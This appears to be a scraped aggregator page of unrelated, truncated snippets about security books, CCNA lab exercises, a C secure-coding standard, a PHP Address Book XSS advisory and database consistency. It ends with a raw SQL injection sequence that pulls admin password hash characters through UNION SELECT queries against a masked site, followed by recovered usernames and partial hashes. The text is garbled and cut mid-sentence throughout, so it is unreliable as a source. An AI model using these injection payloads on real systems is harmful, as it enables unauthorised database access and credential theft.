ccna security book

CCNA Experiment 18 port Security for switchesEnvironment: Windows XP , Packet Tracer 3.5Purpose : know how to protect switch port security. DescriptionThere are three ways to protect the switch port: (Note that switch port security can only be Access interface Configuration)(1) Limit the maximum number of connectio

CCNA Experiment 24 Security of routing updatesEnvironment: Windows XP , GNS3.0.7.2Objective:Learn how to pass MD5 authentication and passive port protection routing updates, Note that both methods are in EIGRP ,OSPF, RIP, IGRP can be used in all routing protocols. DescriptionMD5 Certification : to prevent invalid routing updates from potentially threatening and damaging the network through routing update

Standardization has also revised the C language standards, the implementation of C language more stringent requirements, thus providing a basis for secure coding. This coding standard is the industry's most extensive compilation of programming guidelines, which clasp the C language standards of each edition, and provides a breakdown of the undefined behavior, unspecified behavior, and the rules and recommendations for secure coding that can lead to the use of

"White hat Speaks web security" Wu HanqingJust beginning to read this book is attracted by this book, feel very good, to recommend, recently read this book, feel Good Essence on record, as the saying goes >>> good head than a rotten pen Information is not equal to knowledge, now read books, record, feel very good Wu →

Information security engineers are a relatively new role. In the second half of this year in 2016, the safety engineer was included in the examination subjects, indicating that the country's demand for safety engineers was good. Security engineers include two pieces of hardware and software. The security engineers described here are primarily responsible for the

Title: PHP Address Book 6.2.12 Multiple security vulnerabilitiesBy Stefan SchurtzAffected Software: Successfully tested on PHP Address Book 6.2.12Developer Website: http://sourceforge.net/projects/php-addressbook/Defect description======================================PHP Address Book 6.2.12 is contains multiple xss an

that they mistakenly treat Ubuntu as a Unix book, because they all start with "U! I found that there are seven different Ubuntu books there, which is really not enough. However, the Ubuntu pocket guide has not been translated and published yet, and I am disappointed. In March 20, Keir Thomas, an award-winning Ubuntu writer, published an article entitled "Firefox may already be dead". After reading this article, I cannot feel calm for a long time. Go

Last record, say a word about the security of the database.One, consistency controlTo ensure transactional consistency, you can use Display transaction statements and add integrity constraints to the database. For example, in the return of the book, you want to modify the user's user table in the remaining number of books, borrowing records of the option and the remaining number in the

), 3,4,5,6,7,8 from ADMIN WHERE id=7%16//cOrhttp://www.xxx.cn/cp.asp?classid=3 UNION Select 1, (select MID (pwd,16,1) from admin WHERE id=4), 3,4,5,6,7,8 from admin%16 Fhttp://www.xxx.cn/cp.asp?classid=3 UNION Select 1, (select MID (pwd,16,1) from admin WHERE id=5), 3,4,5,6,7,8 from admin%16 8http://www.xxx.cn/cp.asp?classid=3 UNION Select 1, (select MID (pwd,16,1) from admin WHERE id=7), 3,4,5,6,7,8 from admin%16 CTo organize the current results:ID admin pwd4 Lxiaofu bbd06203b2ba922f5 Admin 481